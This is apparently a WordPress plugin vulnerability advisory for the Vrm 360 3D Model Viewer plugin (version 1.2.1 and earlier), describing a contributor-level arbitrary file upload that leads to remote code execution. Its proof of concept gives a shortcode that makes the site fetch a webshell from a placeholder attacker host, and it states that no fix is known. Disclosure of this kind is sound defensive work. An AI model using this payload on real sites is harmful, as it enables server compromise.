WordPress Plugin Vulnerabilities

Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE

Description

The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode.

Proof of Concept

1. Host a webserver with a shell named `webshell.zip.php`
2. As a contributor, add the shortcode: `[vrm360 canvas_name=s1 model_url=http://ATTACKER_HOST/webshell.zip.php aspect_ratio=1.8 initial_offset=0.9]`
3. Press "Preview" > "Preview in new tab"
4. See that the file has been uploaded to https://example.com/wp-content/uploads/tmp/webshell.zip.php

Affects Plugins

No known fix

References

YouTube Video

Classification

Type
RCE
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Jonatas Souza Villa Flor
Submitter
Jonatas Souza Villa Flor
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-11-24 (about 5 months ago)
Added
2023-11-24 (about 5 months ago)
Last Updated
2023-11-24 (about 5 months ago)

Other